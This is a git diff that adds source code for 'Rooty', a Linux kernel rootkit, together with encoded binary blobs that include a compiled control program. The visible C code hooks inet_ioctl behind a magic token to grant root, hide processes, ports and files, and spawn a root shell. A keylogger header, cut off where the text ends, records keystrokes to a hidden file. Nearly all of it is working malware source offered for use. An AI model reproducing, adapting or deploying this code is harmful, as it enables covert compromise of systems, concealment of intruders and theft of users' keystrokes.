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 + + sock_release(sock); + + return ret; +} + +static long n_inet_ioctl ( struct socket *sock, unsigned int cmd, unsigned long arg ) +{ + int ret; + struct s_args args; + + if ( cmd == AUTH_TOKEN ) + { + ret = copy_from_user(&args, (void *)arg, sizeof(args)); + if ( ret ) + return 0; + + switch ( args.cmd ) + { + + case 0: + root_me(); + break; + + case 1: + { + struct s_proc_args proc_args; + ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding PID %hu\n", proc_args.pid); + hide_proc(proc_args.pid); + } + break; + + case 2: + { + struct s_proc_args proc_args; + ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding PID %hu\n", proc_args.pid); + unhide_proc(proc_args.pid); + } + break; + + case 3: + { + struct s_port_args port_args; + + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding TCPv4 port %hu\n", port_args.port); + hide_tcp4_port(port_args.port); + } + break; + + case 4: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding TCPv4 port %hu\n", port_args.port); + unhide_tcp4_port(port_args.port); + } + break; + + case 5: + { + struct s_port_args port_args; + + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding TCPv6 port %hu\n", port_args.port); + hide_tcp6_port(port_args.port); + } + break; + + case 6: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding TCPv6 port %hu\n", port_args.port); + unhide_tcp6_port(port_args.port); + } + break; + + case 7: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding UDPv4 port %hu\n", port_args.port); + hide_udp4_port(port_args.port); + } + break; + + case 8: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding UDPv4 port %hu\n", port_args.port); + unhide_udp4_port(port_args.port); + } + break; + + case 9: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding UDPv6 port %hu\n", port_args.port); + hide_udp6_port(port_args.port); + } + break; + + case 10: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding UDPv6 port %hu\n", port_args.port); + unhide_udp6_port(port_args.port); + } + break; + + case 11: + { + char *name; + struct s_file_args file_args; + ret = copy_from_user(&file_args, args.ptr, sizeof(file_args)); + if ( ret ) + return 0; + name = kmalloc(file_args.namelen + 1, GFP_KERNEL); + if ( ! name ) + return 0; + ret = copy_from_user(name, file_args.name, file_args.namelen); + if ( ret ) + { + kfree(name); + return 0; + } + name[file_args.namelen] = 0; + printk("rooty: IOCTL->Hiding file/dir %s\n", name); + hide_file(name); + } + break; + + case 12: + { + char *name; + struct s_file_args file_args; + ret = copy_from_user(&file_args, args.ptr, sizeof(file_args)); + if ( ret ) + return 0; + name = kmalloc(file_args.namelen + 1, GFP_KERNEL); + if ( ! name ) + return 0; + ret = copy_from_user(name, file_args.name, file_args.namelen); + if ( ret ) + { + kfree(name); + return 0; + } + name[file_args.namelen] = 0; + printk("rooty: IOCTL->Unhiding file/dir %s\n", name); + unhide_file(name); + kfree(name); + } + break; + + default: + printk("rooty: IOCTL->Unknown command"); + break; + } + return 0; + } + + hijack_pause(inet_ioctl); + ret = inet_ioctl(sock, cmd, arg); + hijack_resume(inet_ioctl); + + return ret; +} diff --git a/Linux/Rootkits/Rooty/ioctl/Makefile b/Linux/Rootkits/Rooty/ioctl/Makefile new file mode 100644 index 0000000..90ba157 --- /dev/null +++ b/Linux/Rootkits/Rooty/ioctl/Makefile @@ -0,0 +1,7 @@ + + +all: + gcc -o ioctl ioctl.c + +clean: + rm ioctl \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/ioctl/ioctl b/Linux/Rootkits/Rooty/ioctl/ioctl new file mode 100644 index 0000000000000000000000000000000000000000..37c535d8e69d0f5ffc6e013a31ef23df9f0ddbc0 GIT binary patch literal 11592 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 av-l`!PK2^qoRRWEsJoK7TIw!Q4*w0+V`bg| literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/ioctl/ioctl.c b/Linux/Rootkits/Rooty/ioctl/ioctl.c new file mode 100644 index 0000000..e9ed127 --- /dev/null +++ b/Linux/Rootkits/Rooty/ioctl/ioctl.c @@ -0,0 +1,282 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define AUTH_TOKEN 0xDEADC0DE + +#define SHELL "/bin/sh" + + +struct rooty_proc_args +{ + unsigned short pid; +}; + +struct rooty_port_args +{ + unsigned short port; +}; + +struct rooty_file_args +{ + char *name; + unsigned short namelen; +}; + +struct rooty_args +{ + unsigned short cmd; + void *ptr; +}; + +int main ( int argc, char *argv[] ) +{ + struct rooty_args rooty_args; + struct rooty_proc_args rooty_proc_args; + struct rooty_port_args rooty_port_args; + struct rooty_file_args rooty_file_args; + int sockfd; + int io; + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + if(sockfd < 0) + { + perror("socket"); + exit(1); + } + if(argc==1) + argv[1]="-1"; + + rooty_proc_args.pid = getpid(); + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + + switch ( atoi(argv[1]) ) + { + case 0: + printf("Dropping to root shell\n"); + rooty_args.cmd = 0; + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + execl(SHELL, "sh", NULL); + break; + + case 1: + { + unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding PID %hu\n", pid); + + rooty_proc_args.pid = pid; + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 2: + { + unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding PID %hu\n", pid); + + rooty_proc_args.pid = pid; + rooty_args.cmd = 2; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 3: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding TCPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 3; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 4: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding TCPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 4; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + case 5: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding TCPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 5; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 6: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding TCPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 6; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 7: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding UDPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 7; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 8: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding UDPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 8; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 9: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding UDPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 9; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 10: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding UDPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 10; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 11: + { + char *name = argv[2]; + + printf("Hiding file/dir %s\n", name); + + rooty_file_args.name = name; + rooty_file_args.namelen = strlen(name); + rooty_args.cmd = 11; + rooty_args.ptr = &rooty_file_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 12: + { + char *name = argv[2]; + + printf("Unhiding file/dir %s\n", name); + + rooty_file_args.name = name; + rooty_file_args.namelen = strlen(name); + rooty_args.cmd = 12; + rooty_args.ptr = &rooty_file_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 100: + { + printf("Null command\n"); + + rooty_args.cmd = 100; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + default: + { + printf("Usage: ioctl CMD [ARG]\n"); + printf("\tCMD \tDescription:\n"); + printf("\t---- \t------------\n"); + printf("\t0 \tGive root privilages\n"); + printf("\t1 \tHide process with pid [ARG]\n"); + printf("\t2 \tUnhide process with pid [ARG]\n"); + printf("\t3 \tHide TCP 4 port [ARG]\n"); + printf("\t4 \tUnhide TCP 4 port [ARG]\n"); + printf("\t5 \tHide UDPv4 port [ARG]\n"); + printf("\t6 \tUnhide UDPv4 port [ARG]\n"); + printf("\t7 \tHide TCPv6 port [ARG]\n"); + printf("\t8 \tUnhide TCPv6 port [ARG]\n"); + printf("\t9 \tHide UDPv4 port [ARG]\n"); + printf("\t10 \tUnhide UDPv6 port [ARG]\n"); + printf("\t11 \tHide file/directory named [ARG]\n"); + printf("\t12 \tUnhide file/directory named [ARG]\n"); + printf("\t100 \tEmpty cmd\n\n"); + } + break; + } + + if(io < 0) + { + perror("ioctl"); + exit(1); + } + + return 0; +} diff --git a/Linux/Rootkits/Rooty/keylogger.h b/Linux/Rootkits/Rooty/keylogger.h new file mode 100644 index 0000000..2516638 --- /dev/null +++ b/Linux/Rootkits/Rooty/keylogger.h @@ -0,0 +1,229 @@ +#define FLUSHSIZE 16 +#define LOGSIZE 128 +#define LOG_FILE "/.keylog" + +unsigned long sequence_i = 0; + +DECLARE_WAIT_QUEUE_HEAD(flush_event); + +struct task_struct *log_ts; +struct file *logfile; +volatile unsigned long to_flush = 0; +unsigned long logidx = 0; +char logbuf[LOGSIZE]; + + +static void ksym_std ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned char val = param->value & 0xff; + unsigned long len; + + //printk("rooty: KEYLOGGER: ksym_std: %s\n", ascii[val]); + + len = strlcpy(&logbuf[logidx], ascii[val], 